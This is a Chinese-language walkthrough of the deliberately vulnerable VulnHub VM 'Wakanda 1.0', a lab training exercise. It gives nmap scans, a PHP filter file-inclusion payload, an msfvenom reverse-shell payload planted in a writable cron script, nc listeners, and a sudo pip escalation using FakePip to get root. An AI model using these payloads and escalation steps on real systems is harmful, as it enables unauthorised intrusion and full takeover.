Wakanda 1.0¶
Information¶
Wakanda 1.0 is a vulnerable VM created by VulnHub.
思路¶
0x01 扫描¶
nmap -sP 10.1.1.1/24
找到主机nmap -A 10.1.1.91
找到开放端口和服务
扫描出 22/tcp, 80/tcp, 111/tcp
0x02 分析¶
打开 80/tcp 网站找线索,在网站页脚处发现作者为 mamadou, 从源码中发现注释掉的 HTML 代码,去掉注释后发现是一个切换网页语言的链接,点击链接后通过网络请求观察发现是一个 GET 请求,通过参数为 lang
,值为 fr
获取页面而非跳转,所以可以尝试参数注入。
尝试利用 php伪协议 读取首页php源码 http://10.1.1.91/?lang=php://filter/read=convert.base64-encode/resource=index
。
参数注入成功,将返回的 base64 编码进行解码获得一串密码,尝试使用密码登录 SSH 服务,成功登录,用户为 mamadou 普通用户。
0x03 提权¶
从普通用户到普通用户¶
获得 mamadou 用户权限后,查看 /home
目录下的是否其他用户的家目录,发现有一个 devops
用户目录,接下来需要获取 devops
用户的权限。
find
查找一下devops
用户的文件find / -user devops 2>/dev/null
,发现有两个文件/srv/.antivirus.py
,/tmp/test
。ls
查看两个文件都没有 SUID 权限,所以 SUID 提权方式不可行。但/srv/.antivirus.py
文件对其他用户具有可写权限。cat
查看/srv/.antivirus.py
文件,发现是一个 python 脚本,脚本的作用是在/tmp/test
文件内写入test
字符串。cat
查看/tmp/test
文件,发现文件内有test
字符串。- 推测
/srv/.antivirus.py
是一个定时脚本文件,尝试在其中写入反弹 shell 命令,从而获得devops
用户权限。 - 利用 msfvenom 生成反弹 shell 的 python 脚本
msfvenom -p cmd/unix/reverse_python lhost=10.1.1.91 lport=6666 R
,将生成的脚本去掉python -c
后写入/srv/.antivirus.py
文件中。 - 同时在攻击机器上监听端口
nc -lvnp 6666
,等待反弹 shell。即可获得devops
用户权限。
从普通用户到 root 用户¶
主要提权方式有三种:
- SUID 提权
- 内核漏洞提权
- SUDO 提权
SUID 提权¶
对于 SUID 提权,首先需要找到 SUID 文件,然后分析 SUID 文件的权限,最后利用 SUID 文件的权限提权。
find / -user root -perm -4000 -print 2>/dev/null
并没有留下什么可利用的程序,那么 SUID 提权这一办法是不太可行了。
内核漏洞提权¶
对于内核漏洞提权,首先需要找到内核版本,然后根据内核版本找到对应的漏洞,最后利用漏洞提权。
uname -a
内核版本很新,近期没有可利用的漏洞。
SUDO 提权¶
这篇文章有关于 SUDO 提权的详细介绍,这里就不再赘述了。
对于 SUDO 提权,首先检查一下 当前用户是否在 sudoers 文件中,然后查看 sudoers 文件中的权限,最后利用 sudoers 文件中的权限提权。
使用 sudo -l
查看当前用户的权限,发现可以使用 sudo
命令执行 /usr/bin/pip
,而且不需要密码。
查看 /usr/bin/pip
文件的权限 ls -l /usr/bin/pip
,发现文件具有 SGID 权限。
如何利用 pip 提权
pip 是一个 Python语言写的软件包管理器,通常用来安装 Python 软件包。如何利用呢?既然 pip 是安装 Python 软件包的,那我们就可以在安装过程中做手脚
这里使用的脚本是 FakePip,这个脚本的原理就是在安装软件包的过程中运行反弹shell命令,从而获得 root 权限。
使用方式很简单,只需将 setup.py
文件下载到被攻击机器并修改文件中的 RHOST
,然后在本地文件夹中执行:
sudo /usr/bin/pip install . --upgrade --force-reinstall
注意
需要先在攻击机器上监听端口 nc -lvnp 443
,等待反弹 shell。因为执行pip命令后会立即反弹 shell,所以需要先监听端口。
同时在本机监听端口 nc -lvnp 443
,等待反弹 shell。即可获得 root
用户权限。
总结¶
创建日期: November 17, 2022